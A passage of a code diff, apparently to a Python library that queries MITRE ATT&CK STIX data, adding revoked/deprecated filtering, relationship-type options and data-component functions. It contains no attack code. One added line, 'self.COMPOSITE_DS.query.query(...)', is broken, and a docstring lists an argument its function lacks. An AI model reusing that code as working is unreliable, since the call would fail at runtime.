ics_stix_objects[key] = self.TC_ICS_SOURCE.query(ics_filter_objects[key]) + ics_stix_objects[key] = self.TC_ICS_SOURCE.query(ics_filter_objects[key]) if isinstance(ics_filter_objects[key], Filter) else ics_filter_objects[key]() if not stix_format: ics_stix_objects[key] = self.translate_stix_objects(ics_stix_objects[key]) return ics_stix_objects - def get_ics_techniques(self, stix_format=True): + def get_ics_techniques(self, skip_revoked_deprecated=True, include_subtechniques=True, stix_format=True): """ Extracts all the available techniques STIX objects in the ICS ATT&CK matrix Args: - stix_format (bool): Returns results in original STIX format or friendly syntax (i.e. 'attack-pattern' or 'technique') + skip_revoked_deprecated (bool): default True. Skip revoked and deprecated STIX objects. + include_subtechniques (bool): default True. Include techniques and sub-techniques STIX objects. + stix_format (bool): Returns results in original STIX format or friendly syntax (e.g. 'attack-pattern' or 'technique') Returns: List of STIX objects """ - ics_techniques = self.TC_ICS_SOURCE.query(Filter("type", "=", "attack-pattern")) + + if include_subtechniques: + ics_techniques = self.TC_ICS_SOURCE.query(Filter("type", "=", "attack-pattern")) + else: + ics_techniques = self.TC_ICS_SOURCE.query([ + Filter("type", "=", "attack-pattern"), + Filter('x_mitre_is_subtechnique', '=', False) + ]) + + if skip_revoked_deprecated: + ics_techniques = self.remove_revoked_deprecated(ics_techniques) + if not stix_format: ics_techniques = self.translate_stix_objects(ics_techniques) return ics_techniques @@ -695,7 +826,7 @@ def get_ics_mitigations(self, stix_format=True): """ Extracts all the available mitigations STIX objects in the ICS ATT&CK matrix Args: - stix_format (bool): Returns results in original STIX format or friendly syntax (i.e. 'attack-pattern' or 'technique') + stix_format (bool): Returns results in original STIX format or friendly syntax (e.g. 'attack-pattern' or 'technique') Returns: List of STIX objects @@ -706,17 +837,22 @@ def get_ics_mitigations(self, stix_format=True): ics_mitigations = self.translate_stix_objects(ics_mitigations) return ics_mitigations - def get_ics_groups(self, stix_format=True): + def get_ics_groups(self, skip_revoked_deprecated=True, stix_format=True): """ Extracts all the available groups STIX objects in the ICS ATT&CK matrix Args: - stix_format (bool): Returns results in original STIX format or friendly syntax (i.e. 'attack-pattern' or 'technique') + skip_revoked_deprecated (bool): default True. Skip revoked and deprecated STIX objects. + stix_format (bool): Returns results in original STIX format or friendly syntax (e.g. 'attack-pattern' or 'technique') Returns: List of STIX objects """ ics_groups = self.TC_ICS_SOURCE.query(Filter("type", "=", "intrusion-set")) + + if skip_revoked_deprecated: + ics_groups = self.remove_revoked_deprecated(ics_groups) + if not stix_format: ics_groups = self.translate_stix_objects(ics_groups) return ics_groups @@ -725,7 +861,7 @@ def get_ics_malware(self, stix_format=True): """ Extracts all the available malware STIX objects in the ICS ATT&CK matrix Args: - stix_format (bool): Returns results in original STIX format or friendly syntax (i.e. 'attack-pattern' or 'technique') + stix_format (bool): Returns results in original STIX format or friendly syntax (e.g. 'attack-pattern' or 'technique') Returns: List of STIX objects @@ -740,7 +876,7 @@ def get_ics_relationships(self, stix_format=True): """ Extracts all the available relationships STIX objects in the ICS ATT&CK matrix Args: - stix_format (bool): Returns results in original STIX format or friendly syntax (i.e. 'attack-pattern' or 'technique') + stix_format (bool): Returns results in original STIX format or friendly syntax (e.g. 'attack-pattern' or 'technique') Returns: List of STIX objects @@ -755,7 +891,7 @@ def get_ics_tactics(self, stix_format=True): """ Extracts all the available tactics STIX objects in the ICS ATT&CK matrix Args: - stix_format (bool): Returns results in original STIX format or friendly syntax (i.e. 'attack-pattern' or 'technique') + stix_format (bool): Returns results in original STIX format or friendly syntax (e.g. 'attack-pattern' or 'technique') Returns: List of STIX objects @@ -768,64 +904,74 @@ def get_ics_tactics(self, stix_format=True): # ******** Get All Functions ******** def get_stix_objects(self, stix_format=True): - enterprise_objects = self.get_enterprise() - pre_objects = self.get_pre() - mobile_objects = self.get_mobile() - ics_objects = self.get_ics() - for keypre in pre_objects.keys(): - for preobj in pre_objects[keypre]: - if keypre in enterprise_objects.keys(): - if preobj not in enterprise_objects[keypre]: - enterprise_objects[keypre].append(preobj) - for keymob in mobile_objects.keys(): - for mobobj in mobile_objects[keymob]: - if keymob in enterprise_objects.keys(): - if mobobj not in enterprise_objects[keymob]: - enterprise_objects[keymob].append(mobobj) - for keyics in ics_objects.keys(): - for icsobj in ics_objects[keyics]: - if keyics in enterprise_objects.keys(): - if icsobj not in enterprise_objects[keyics]: - enterprise_objects[keyics].append(icsobj) + attack_stix_objects = dict() + attack_stix_objects['enterprise'] = self.get_enterprise() + attack_stix_objects['mobile'] = self.get_mobile() + attack_stix_objects['ics'] = self.get_ics() + if not stix_format: - for enterkey in enterprise_objects.keys(): - enterprise_objects[enterkey] = self.translate_stix_objects(enterprise_objects[enterkey]) - return enterprise_objects + for matrix in attack_stix_objects.keys(): + for resource_type in attack_stix_objects[matrix].keys(): + attack_stix_objects[matrix][resource_type] = self.translate_stix_objects(attack_stix_objects[matrix][resource_type]) + return attack_stix_objects - def get_techniques(self, stix_format=True): + def get_techniques(self, include_subtechniques=True, skip_revoked_deprecated=True, enrich_data_sources=False, stix_format=True): """ Extracts all the available techniques STIX objects across all ATT&CK matrices - Args: - stix_format (bool): Returns results in original STIX format or friendly syntax (i.e. 'attack-pattern' or 'technique') + Args: + include_subtechniques (bool): default True. Include techniques and sub-techniques STIX objects. + skip_revoked_deprecated (bool): default True. Skip revoked and deprecated STIX objects. + enrich_data_sources (bool): default False. Adds data component and data source context to each technqiue. + stix_format (bool): Returns results in original STIX format or friendly syntax (e.g. 'attack-pattern' or 'technique') Returns: List of STIX objects - """ - all_techniques = self.COMPOSITE_DS.query(Filter("type", "=", "attack-pattern")) + + if include_subtechniques: + all_techniques = self.COMPOSITE_DS.query(Filter("type", "=", "attack-pattern")) + else: + all_techniques = self.COMPOSITE_DS.query([ + Filter("type", "=", "attack-pattern"), + Filter('x_mitre_is_subtechnique', '=', False) + ]) + + if skip_revoked_deprecated: + all_techniques = self.remove_revoked_deprecated(all_techniques) + + if enrich_data_sources: + all_techniques = self.enrich_techniques_data_sources(all_techniques) + if not stix_format: all_techniques = self.translate_stix_objects(all_techniques) + return all_techniques - def get_groups(self, stix_format=True): + def get_groups(self, skip_revoked_deprecated=True, stix_format=True): """ Extracts all the available groups STIX objects across all ATT&CK matrices Args: - stix_format (bool): Returns results in original STIX format or friendly syntax (i.e. 'attack-pattern' or 'technique') + skip_revoked_deprecated (bool): removes revoked or deprecated STIX objects from relationships and techniques. Default: Set to True. + stix_format (bool): Returns results in original STIX format or friendly syntax (e.g. 'attack-pattern' or 'technique') Returns: List of STIX objects """ all_groups = self.COMPOSITE_DS.query(Filter("type", "=", "intrusion-set")) + + if skip_revoked_deprecated: + all_groups = self.remove_revoked_deprecated(all_groups) + if not stix_format: all_groups = self.translate_stix_objects(all_groups) return all_groups - def get_mitigations(self, stix_format=True): + def get_mitigations(self, skip_revoked_deprecated=True, stix_format=True): """ Extracts all the available mitigations STIX objects across all ATT&CK matrices Args: - stix_format (bool): Returns results in original STIX format or friendly syntax (i.e. 'attack-pattern' or 'technique') + skip_revoked_deprecated (bool): removes revoked or deprecated STIX objects from relationships and techniques. Default: Set to True. + stix_format (bool): Returns results in original STIX format or friendly syntax (e.g. 'attack-pattern' or 'technique') """ enterprise_mitigations = self.get_enterprise_mitigations() mobile_mitigations = self.get_mobile_mitigations() @@ -836,15 +982,43 @@ def get_mitigations(self, stix_format=True): for im in ics_mitigations: if im not in enterprise_mitigations: enterprise_mitigations.append(im) + + if skip_revoked_deprecated: + enterprise_mitigations = self.remove_revoked_deprecated(enterprise_mitigations) + if not stix_format: enterprise_mitigations = self.translate_stix_objects(enterprise_mitigations) return enterprise_mitigations - - def get_software(self, stix_format=True): + + def get_data_components(self, skip_revoked_deprecated=True, stix_format=True): + """ Extracts all the available data components STIX objects across all ATT&CK matrices + Args: + skip_revoked_deprecated (bool): removes revoked or deprecated STIX objects from relationships and techniques. Default: Set to True. + stix_format (bool): Returns results in original STIX format or friendly syntax (e.g. 'attack-pattern' or 'technique') + """ + enterprise_data_components = self.get_enterprise_data_components() + '''mobile_data_components = self.get_mobile_data_components() + ics_data_components = self.get_ics_data_components() + for mdc in mobile_data_components: + if mdc not in enterprise_data_components: + enterprise_data_components.append(mdc) + for idc in ics_data_components: + if idc not in enterprise_data_components: + enterprise_data_components.append(idc)''' + + if skip_revoked_deprecated: + enterprise_data_components = self.remove_revoked_deprecated(enterprise_data_components) + + if not stix_format: + enterprise_data_components = self.translate_stix_objects(enterprise_data_components) + return enterprise_data_components + + def get_software(self, skip_revoked_deprecated=True, stix_format=True): """ Extracts all the available software STIX objects across all ATT&CK matrices Args: - stix_format (bool): Returns results in original STIX format or friendly syntax (i.e. 'attack-pattern' or 'technique') + skip_revoked_deprecated (bool): removes revoked or deprecated STIX objects from relationships and techniques. Default: Set to True. + stix_format (bool): Returns results in original STIX format or friendly syntax (e.g. 'attack-pattern' or 'technique') Returns: List of STIX objects @@ -865,30 +1039,51 @@ def get_software(self, stix_format=True): if imal not in enterprise_malware: enterprise_malware.append(imal) all_software = enterprise_tools + enterprise_malware + + if skip_revoked_deprecated: + all_software = self.remove_revoked_deprecated(all_software) + if not stix_format: all_software = self.translate_stix_objects(all_software) return all_software - def get_relationships(self, stix_format=True): - """ Extracts all the available relationships STIX objects across all ATT&CK matrices + def get_relationships(self, relationship_type=None , skip_revoked_deprecated=True, stix_format=True): + """ Extracts STIX objects of type relationship across all ATT&CK matrices Args: - stix_format (bool): Returns results in original STIX format or friendly syntax (i.e. 'attack-pattern' or 'technique') - + relationship_type (string): Type of relationship (uses, mitigates, subtechnique-of, detects, revoked-by). Reference: https://github.com/mitre/cti/blob/master/USAGE.md#relationships + skip_revoked_deprecated (bool): removes revoked or deprecated STIX objects from relationships and techniques. Default: Set to True. + stix_format (bool): Returns results in original STIX format or friendly syntax (e.g. 'attack-pattern' or 'technique') Returns: List of STIX objects """ - all_relationships = self.COMPOSITE_DS.query(Filter("type", "=", "relationship")) + + if relationship_type: + relationship_types = ['uses', 'mitigates', 'subtechnique-of', 'detects', 'revoked-by'] + if relationship_type not in relationship_types: + raise ValueError(f"ERROR: Valid relationship types must be one of {relationship_types}") + else: + all_relationships = self.COMPOSITE_DS.query( + Filter("type", "=", "relationship"), + Filter("relationship_type", "=", relationship_type) + ) + else: + all_relationships = self.COMPOSITE_DS.query(Filter("type", "=", "relationship")) + + if skip_revoked_deprecated: + all_relationships = self.remove_revoked_deprecated(all_relationships) + if not stix_format: all_relationships = self.translate_stix_objects(all_relationships) + return all_relationships def get_tactics(self, stix_format=True): """ Extracts all the available tactics STIX objects across all ATT&CK matrices Args: - stix_format (bool): Returns results in original STIX format or friendly syntax (i.e. 'attack-pattern' or 'technique') + stix_format (bool): Returns results in original STIX format or friendly syntax (e.g. 'attack-pattern' or 'technique') Returns: List of STIX objects @@ -898,6 +1093,26 @@ def get_tactics(self, stix_format=True): if not stix_format: all_tactics = self.translate_stix_objects(all_tactics) return all_tactics + + def get_data_sources(self, include_data_components=False, stix_format=True): + """ Extracts all the available data source STIX objects availalbe in the ATT&CK TAXII collections. This function filters all STIX objects by the type x-mitre-data-source and also retrieves data components for each data source object. + + Args: + stix_format (bool): Returns results in original STIX format or friendly syntax (e.g. 'attack-pattern' or 'technique') + + Returns: + List of STIX objects + + """ + if include_data_components: + data_sources = self.get_enterprise_data_sources(include_data_components=True) + else: + data_sources = self.get_enterprise_data_sources() + + if not stix_format: + data_sources = self.translate_stix_objects(data_sources) + + return data_sources # ******** Custom Functions ******** def get_technique_by_name(self, name, case=True, stix_format=True): @@ -905,7 +1120,7 @@ def get_technique_by_name(self, name, case=True, stix_format=True): Args: case (bool) : case sensitive or not - stix_format (bool): Returns results in original STIX format or friendly syntax (i.e. 'attack-pattern' or 'technique') + stix_format (bool): Returns results in original STIX format or friendly syntax (e.g. 'attack-pattern' or 'technique') Returns: List of STIX objects @@ -932,7 +1147,7 @@ def get_techniques_by_content(self, name, case=True, stix_format=True): Args: case (bool) : case sensitive or not - stix_format (bool): Returns results in original STIX format or friendly syntax (i.e. 'attack-pattern' or 'technique') + stix_format (bool): Returns results in original STIX format or friendly syntax (e.g. 'attack-pattern' or 'technique') Returns: List of STIX objects @@ -953,7 +1168,7 @@ def get_techniques_by_platform(self, name, case=True, stix_format=True ): Args: case (bool) : case sensitive or not - stix_format (bool): Returns results in original STIX format or friendly syntax (i.e. 'attack-pattern' or 'technique') + stix_format (bool): Returns results in original STIX format or friendly syntax (e.g. 'attack-pattern' or 'technique') Returns: List of STIX objects @@ -982,7 +1197,7 @@ def get_techniques_by_tactic(self, name, case=True, stix_format=True ): Args: case (bool) : case sensitive or not - stix_format (bool): Returns results in original STIX format or friendly syntax (i.e. 'attack-pattern' or 'technique') + stix_format (bool): Returns results in original STIX format or friendly syntax (e.g. 'attack-pattern' or 'technique') Returns: List of STIX objects @@ -1009,17 +1224,17 @@ def get_object_by_attack_id(self, object_type, attack_id, stix_format=True): """ Extracts STIX object by attack id accross all ATT&CK matrices Args: - object_type (str) : Object type such as 'attack-pattern' or 'course-of-action' or 'intrusion-set' or 'malware' or 'tool + object_type (str) : Object type such as 'attack-pattern' or 'course-of-action' or 'intrusion-set' or 'malware' or 'tool or 'x-mitre-data-component' attack_id (str) : STIX object ID - stix_format (bool): Returns results in original STIX format or friendly syntax (i.e. 'attack-pattern' or 'technique') + stix_format (bool): Returns results in original STIX format or friendly syntax (e.g. 'attack-pattern' or 'technique') Returns: List of STIX objects """ - valid_objects = {'attack-pattern','course-of-action','intrusion-set','malware','tool'} + valid_objects = {'attack-pattern','course-of-action','intrusion-set','malware','tool','x-mitre-data-source', 'x-mitre-data-component'} if object_type not in valid_objects: - raise ValueError("ERROR: Valid object must be one of %r" % valid_objects) + raise ValueError(f"ERROR: Valid object must be one of {valid_objects}") else: filter_objects = [ Filter('type', '=', object_type), @@ -1036,7 +1251,7 @@ def get_group_by_alias(self, group_alias, case=True, stix_format=True): Args: group_alias (str) : Alias of threat actor group case (bool) : case sensitive or not - stix_format (bool): Returns results in original STIX format or friendly syntax (i.e. 'attack-pattern' or 'technique') + stix_format (bool): Returns results in original STIX format or friendly syntax (e.g. 'attack-pattern' or 'technique') Returns: List of STIX objects @@ -1065,7 +1280,7 @@ def get_techniques_since_time(self, timestamp, stix_format=True): Args: timestamp (timestamp): Timestamp - stix_format (bool): Returns results in original STIX format or friendly syntax (i.e. 'attack-pattern' or 'technique') + stix_format (bool): Returns results in original STIX format or friendly syntax (e.g. 'attack-pattern' or 'technique') Returns: List of STIX objects @@ -1080,74 +1295,114 @@ def get_techniques_since_time(self, timestamp, stix_format=True): all_techniques_list = self.translate_stix_objects(all_techniques_list) return all_techniques_list - def get_relationships_by_object(self, stix_object, stix_format=True): + def get_relationships_by_object(self, stix_object, relationship_type=None, source_only=False, target_only=False, skip_revoked_deprecated=True, stix_format=True): """ Extracts relationship STIX objects by STIX object accross all ATT&CK matrices Args: - stix_object (stix object) : STIX Object to exrtract relationships from - stix_format (bool): Returns results in original STIX format or friendly syntax (i.e. 'attack-pattern' or 'technique') + stix_object (stix object): STIX Object to exrtract relationships from. + relationship_type (string): Type of relationship you want to set as part of the query. Defaulte: None + source_only (bool): Only retrieve Relationships for which this object is the source_ref. Default: False. + target_only (bool): Only retrieve Relationships for which this object is the target_ref. Default: False. + stix_format (bool): Returns results in original STIX format or friendly syntax (e.g. 'attack-pattern' or 'technique') Returns: List of STIX objects """ - if stix_object['type'] == 'course-of-action': - relationships = self.COMPOSITE_DS.relationships(stix_object, 'mitigates', source_only=True) + if source_only and target_only: + raise ValueError("ERROR: You can only set source_only or target_only but not both") else: - relationships = self.COMPOSITE_DS.relationships(stix_object, 'uses', source_only=True) + if not relationship_type: + type_lookup = { + "course-of-action" : "mitigates", + "x-mitre-data-component" : "detects", + "attack-pattern" : "subtechnique-of", + "malware" : "uses", + "tool" : "uses", + "intrusion-set" : "uses" + } + relationship_type = type_lookup[stix_object['type']] + if source_only: + relationships = self.COMPOSITE_DS.relationships(stix_object, relationship_type, source_only=True) + elif target_only: + relationships = self.COMPOSITE_DS.relationships(stix_object, relationship_type, target_only=True) + else: + relationships = self.COMPOSITE_DS.relationships(stix_object, relationship_type) + + if skip_revoked_deprecated: + relationships = self.remove_revoked_deprecated(relationships) + if not stix_format: relationships = self.translate_stix_objects(relationships) return relationships - def get_techniques_used_by_group(self, stix_object, stix_format=True): - """ Extracts technique STIX objects used by one group accross all ATT&CK matrices + def get_techniques_by_relationship(self, stix_object=None, relationship_type=None, skip_revoked_deprecated=True, stix_format=True): + """ Extracts techniques targeted by a specific relationship type accross all ATT&CK matrices. Args: - stix_object (stix object) : STIX Object group to extract techniques from - stix_format (bool): Returns results in original STIX format or friendly syntax (i.e. 'attack-pattern' or 'technique') + stix_object (STIX object): STIX object whose related relationships will be looked up to find techniques. Default: None + relationship_type (string): STIX relationship type (e.g. uses, subtechnique-of). Default: None + skip_revoked_deprecated (bool): removes revoked or deprecated STIX objects from relationships and techniques. Default: True. + stix_format (bool): Returns results in original STIX format or friendly syntax (e.g. 'attack-pattern' or 'technique') Returns: List of STIX objects """ - relationships = self.get_relationships_by_object(stix_object) + if stix_object and relationship_type: + relationships = self.get_relationships_by_object(stix_object, relationship_type, skip_revoked_deprecated=skip_revoked_deprecated, source_only=True) + elif stix_object and not relationship_type: + relationships = self.get_relationships_by_object(stix_object, skip_revoked_deprecated=skip_revoked_deprecated, source_only=True) + elif relationship_type and not stix_object: + relationship_types = ['uses', 'mitigates', 'subtechnique-of', 'detects', 'revoked-by'] + if relationship_type not in relationship_types: + raise ValueError(f"ERROR: Valid relationship types must be one of {relationship_types}") + else: + relationships = self.get_relationships(relationship_type=relationship_type, skip_revoked_deprecated=skip_revoked_deprecated) + else: + relationships = self.get_relationships(skip_revoked_deprecated=skip_revoked_deprecated) + + # Define Filter and query all matrices filter_objects = [ Filter('type', '=', 'attack-pattern'), - Filter('id', '=', [r.target_ref for r in relationships]) + Filter('id', 'in', list(set([r.target_ref for r in relationships]))) ] - try: - enterprise_stix_objects = self.TC_ENTERPRISE_SOURCE.query(filter_objects) - except: - enterprise_stix_objects = [] - try: - pre_stix_objects = self.TC_PRE_SOURCE.query(filter_objects) - except: - pre_stix_objects = [] - try: - mobile_stix_objects = self.TC_MOBILE_SOURCE.query(filter_objects) - except: - mobile_stix_objects = [] - try: - ics_stix_objects = self.TC_ICS_SOURCE.query(filter_objects) - except: - ics_stix_objects = [] - all_techniques_list = enterprise_stix_objects + pre_stix_objects + mobile_stix_objects + ics_stix_objects + all_objects = self.COMPOSITE_DS.query(filter_objects) + + # Remove revoked or deprecated techniques + if skip_revoked_deprecated: + all_objects = self.remove_revoked_deprecated(all_objects) + if not stix_format: - all_techniques_list = self.translate_stix_objects(all_techniques_list) - return all_techniques_list + all_objects = self.translate_stix_objects(all_objects) + + return all_objects + + def get_techniques_used_by_group(self, stix_object, skip_revoked_deprecated=True, stix_format=True): + """ Extracts technique STIX objects used by one group accross all ATT&CK matrices + + Args: + stix_object (stix object) : STIX Object group to extract techniques from + skip_revoked_deprecated (bool): removes revoked or deprecated STIX objects from relationships and techniques. Default: True. + stix_format (bool): Returns results in original STIX format or friendly syntax (e.g. 'attack-pattern' or 'technique') + + Returns: + List of STIX objects + + """ + return self.get_techniques_by_relationship(stix_object, None, skip_revoked_deprecated, stix_format ) def get_techniques_used_by_all_groups(self, stix_format=True): """ Extracts technique STIX objects used by all groups accross all ATT&CK matrices Args: - stix_format (bool): Returns results in original STIX format or friendly syntax (i.e. 'attack-pattern' or 'technique') + stix_format (bool): Returns results in original STIX format or friendly syntax (e.g. 'attack-pattern' or 'technique') Returns: List of STIX objects """ groups = self.get_groups() - groups = self.remove_revoked(groups) techniques = self.get_techniques() group_relationships = list() group_techniques_ref = list() @@ -1204,13 +1459,13 @@ def get_software_used_by_group(self, stix_object, stix_format=True): Args: stix_object (stix object) : STIX Object group to extract software from - stix_format (bool): Returns results in original STIX format or friendly syntax (i.e. 'attack-pattern' or 'technique') + stix_format (bool): Returns results in original STIX format or friendly syntax (e.g. 'attack-pattern' or 'technique') Returns: List of STIX objects """ - relationships = self.get_relationships_by_object(stix_object) + relationships = self.get_relationships_by_object(stix_object, source_only=True) software_relationships = list() for relation in relationships: if get_type_from_id(relation.target_ref) in ['malware', 'tool']: @@ -1221,83 +1476,40 @@ def get_software_used_by_group(self, stix_object, stix_format=True): Filter('type', 'in', ['malware', 'tool']), Filter('id', '=', [r.target_ref for r in software_relationships]) ] - try: - enterprise_stix_objects = self.TC_ENTERPRISE_SOURCE.query(filter_objects) - except: - enterprise_stix_objects = [] - try: - pre_stix_objects = self.TC_PRE_SOURCE.query(filter_objects) - except: - pre_stix_objects = [] - try: - mobile_stix_objects = self.TC_MOBILE_SOURCE.query(filter_objects) - except: - mobile_stix_objects = [] - try: - ics_stix_objects = self.TC_ICS_SOURCE.query(filter_objects) - except: - ics_stix_objects = [] - all_software_list = enterprise_stix_objects + pre_stix_objects + mobile_stix_objects + ics_stix_objects + all_software = self.COMPOSITE_DS.query(filter_objects) + if not stix_format: - all_software_list = self.translate_stix_objects(all_software_list) - return all_software_list + all_software = self.translate_stix_objects(all_software) + return all_software - def get_techniques_used_by_software(self, stix_object, stix_format=True): + def get_techniques_used_by_software(self, stix_object, skip_revoked_deprecated=True, stix_format=True): """ Extracts technique STIX objects used by software accross all ATT&CK matrices Args: - stix_object (stix object) : STIX Object software to extract techniques from - stix_format (bool): Returns results in original STIX format or friendly syntax (i.e. 'attack-pattern' or 'technique') + stix_object (stix object) : STIX Object software to extract techniques from. + skip_revoked_deprecated (bool): removes revoked or deprecated STIX objects from relationships and techniques. Default: True. + stix_format (bool): Returns results in original STIX format or friendly syntax (e.g. 'attack-pattern' or 'technique') Returns: List of STIX objects """ - relationships = self.get_relationships_by_object(stix_object) - software_relationships = list() - for relation in relationships: - if get_type_from_id(relation.source_ref) in ['malware', 'tool']: - software_relationships.append(relation) - if len(software_relationships) == 0: - return software_relationships - filter_objects = [ - Filter('type', '=', 'attack-pattern'), - Filter('id', '=', [r.target_ref for r in software_relationships]) - ] - try: - enterprise_stix_objects = self.TC_ENTERPRISE_SOURCE.query(filter_objects) - except: - enterprise_stix_objects = [] - try: - pre_stix_objects = self.TC_PRE_SOURCE.query(filter_objects) - except: - pre_stix_objects = [] - try: - mobile_stix_objects = self.TC_MOBILE_SOURCE.query(filter_objects) - except: - mobile_stix_objects = [] - try: - ics_stix_objects = self.TC_ICS_SOURCE.query(filter_objects) - except: - ics_stix_objects = [] - all_techniques_list = enterprise_stix_objects + pre_stix_objects + mobile_stix_objects + ics_stix_objects - if not stix_format: - all_techniques_list = self.translate_stix_objects(all_techniques_list) - return all_techniques_list + return self.get_techniques_by_relationship(stix_object, None, skip_revoked_deprecated, stix_format ) def get_techniques_used_by_group_software(self, stix_object, stix_format=True): """ Extracts technique STIX objects used by group software accross all ATT&CK matrices Args: stix_object (stix object) : STIX Object group software to extract techniques from - stix_format (bool): Returns results in original STIX format or friendly syntax (i.e. 'attack-pattern' or 'technique') + skip_revoked_deprecated (bool): removes revoked or deprecated STIX objects from relationships and techniques. Default: True. + stix_format (bool): Returns results in original STIX format or friendly syntax (e.g. 'attack-pattern' or 'technique') Returns: List of STIX objects """ # Get all relationships available for group - relationships = self.get_relationships_by_object(stix_object) + relationships = self.get_relationships_by_object(stix_object, source_only=True) software_relationships = list() # Get all software relationships from group for relation in relationships: @@ -1311,125 +1523,79 @@ def get_techniques_used_by_group_software(self, stix_object, stix_format=True): Filter('relationship_type', '=', 'uses'), Filter('source_ref', 'in', [r.target_ref for r in software_relationships]) ] - try: - enterprise_stix_objects = self.TC_ENTERPRISE_SOURCE.query(filter_objects) - except: - enterprise_stix_objects = [] - try: - pre_stix_objects = self.TC_PRE_SOURCE.query(filter_objects) - except: - pre_stix_objects = [] - try: - mobile_stix_objects = self.TC_MOBILE_SOURCE.query(filter_objects) - except: - mobile_stix_objects = [] - try: - ics_stix_objects = self.TC_ICS_SOURCE.query(filter_objects) - except: - ics_stix_objects = [] - software_uses = enterprise_stix_objects + pre_stix_objects + mobile_stix_objects + ics_stix_objects + software_uses = self.COMPOSITE_DS.query.query(filter_objects) # Get all techniques used by the software that is used by group filter_techniques = [ Filter('type', '=', 'attack-pattern'), Filter('id', 'in', [s.target_ref for s in software_uses]) ] - try: - enterprise_stix_objects = self.TC_ENTERPRISE_SOURCE.query(filter_techniques) - except: - enterprise_stix_objects = [] - try: - pre_stix_objects = self.TC_PRE_SOURCE.query(filter_techniques) - except: - pre_stix_objects = [] - try: - mobile_stix_objects = self.TC_MOBILE_SOURCE.query(filter_techniques) - except: - mobile_stix_objects = [] - try: - ics_stix_objects = self.TC_ICS_SOURCE.query(filter_techniques) - except: - ics_stix_objects = [] - all_techniques_list = enterprise_stix_objects + pre_stix_objects + mobile_stix_objects + ics_stix_objects + all_techniques_list = self.COMPOSITE_DS.query(filter_techniques) if not stix_format: all_techniques_list = self.translate_stix_objects(all_techniques_list) return all_techniques_list - def get_techniques_mitigated_by_mitigation(self, stix_object, stix_format=True): - """ Extracts technique STIX objects mitigated by one mitigation accross all ATT&CK matrices + def get_techniques_mitigated_by_mitigations(self, stix_object=None, skip_revoked_deprecated=True, stix_format=True): + """ Extracts technique STIX objects mitigated by all or one mitigation accross all ATT&CK matrices Args: - stix_object (stix object) : STIX Object mitigation to extract techniques mitigated from - stix_format (bool): Returns results in original STIX format or friendly syntax (i.e. 'attack-pattern' or 'technique') + stix_object (stix object): STIX Object mitigation to extract techniques mitigated from. If not provided, it processes all mitigations. + skip_revoked_deprecated (bool): removes revoked or deprecated STIX objects from relationships and techniques. Set to True by default. + stix_format (bool): Returns results in original STIX format or friendly syntax (e.g. 'attack-pattern' or 'technique') Returns: List of STIX objects """ - relationships = self.get_relationships_by_object(stix_object) - mitigation_relationships = list() - for relation in relationships: - if get_type_from_id(relation.source_ref) == 'course-of-action': - mitigation_relationships.append(relation) - if len(mitigation_relationships) == 0: - return mitigation_relationships - filter_objects = [ - Filter('type', '=', 'attack-pattern'), - Filter('id', '=', [r.target_ref for r in mitigation_relationships]) - ] - try: - enterprise_stix_objects = self.TC_ENTERPRISE_SOURCE.query(filter_objects) - except: - enterprise_stix_objects = [] - try: - pre_stix_objects = self.TC_PRE_SOURCE.query(filter_objects) - except: - pre_stix_objects = [] - try: - mobile_stix_objects = self.TC_MOBILE_SOURCE.query(filter_objects) - except: - mobile_stix_objects = [] - try: - ics_stix_objects = self.TC_ICS_SOURCE.query(filter_objects) - except: - ics_stix_objects = [] - all_techniques_list = enterprise_stix_objects + pre_stix_objects + mobile_stix_objects + ics_stix_objects - if not stix_format: - all_techniques_list = self.translate_stix_objects(all_techniques_list) - return all_techniques_list + if stix_object: + all_techniques = self.get_techniques_by_relationship(stix_object, 'mitigates', skip_revoked_deprecated, stix_format) + else: + all_techniques = self.get_techniques_by_relationship(relationship_type="mitigates", skip_revoked_deprecated=skip_revoked_deprecated, stix_format=stix_format) + + return all_techniques - def get_techniques_mitigated_by_all_mitigations(self, stix_format=True): - """ Extracts technique STIX objects mitigated by all mitigations accross all ATT&CK matrices + def get_techniques_detected_by_data_components(self, stix_object=None, skip_revoked_deprecated=True, stix_format=True): + """ Extracts technique STIX objects detected by data components accross all ATT&CK matrices Args: - stix_format (bool): Returns results in original STIX format or friendly syntax (i.e. 'attack-pattern' or 'technique') + stix_object (stix object): STIX Object data component to extract techniques from. If not provided, it processes all data components. + skip_revoked_deprecated (bool): removes revoked or deprecated STIX objects from relationships and techniques. Set to True by default. + stix_format (bool): Returns results in original STIX format or friendly syntax (e.g. 'attack-pattern' or 'technique') Returns: List of STIX objects """ - # Get all relationships available - relationships = self.get_relationships() - # Get all mitigation relationships - mitigation_relationships = list() - for relation in relationships: - if get_type_from_id(relation.source_ref) in ['course-of-action']: - mitigation_relationships.append(relation) - if len(mitigation_relationships) == 0: - return mitigation_relationships - # Get all techniques - techniques = self.get_techniques() - all_techniques_list = list() - # loop through mitigation relationships to match technique - for mr in mitigation_relationships: - for t in techniques: - if t['id'] == mr['target_ref']: - all_techniques_list.append(t) + if stix_object: + all_techniques = self.get_techniques_by_relationship(stix_object, 'detects', skip_revoked_deprecated, stix_format) + else: + all_techniques = self.get_techniques_by_relationship(relationship_type="detects", skip_revoked_deprecated=skip_revoked_deprecated, stix_format=stix_format) + + return all_techniques + + def get_data_components_by_technique(self, stix_object, stix_format=True): + """ Extracts data components STIX objects used by one technique accross all ATT&CK matrices + + Args: + stix_object (stix object) : STIX Object technique to extract data component from + stix_format (bool): Returns results in original STIX format or friendly syntax (e.g. 'attack-pattern' or 'technique') + + Returns: + List of STIX objects + + """ + relationships = self.get_relationships_by_object(stix_object, relationship_type='detects', target_only=True) + filter_objects = [ + Filter('type', '=', ['x-mitre-data-component']), + Filter('id', 'in', [r.source_ref for r in relationships]) + ] + all_data_components = self.TC_ENTERPRISE_SOURCE.query(filter_objects) + if not stix_format: - all_techniques_list = self.translate_stix_objects(all_techniques_list) - return all_techniques_list + all_data_components = self.translate_stix_objects(all_data_components) + return all_data_components - def get_data_sources(self): - """ Extracts data sources metadata from all technique STIX objects accross all ATT&CK matrices """ + def get_data_sources_metadata(self): + """ Extracts data sources metadata from all technique STIX objects accross all ATT&CK matrices. This function uses the x_mitre_data_sources field from attack-pattern objects. This function does NOT retrieve data sources as objects. Data sources as objects are now retrieved by the get_data_sources() function.""" techniques = self.get_techniques() data_sources = [] for t in techniques: @@ -1437,11 +1603,11 @@ def get_data_sources(self): data_sources += [d for d in t['x_mitre_data_sources'] if d not in data_sources] return data_sources - def get_techniques_by_datasources(self, *args, stix_format=True): + def get_techniques_by_data_sources(self, *args, stix_format=True): """ Extracts 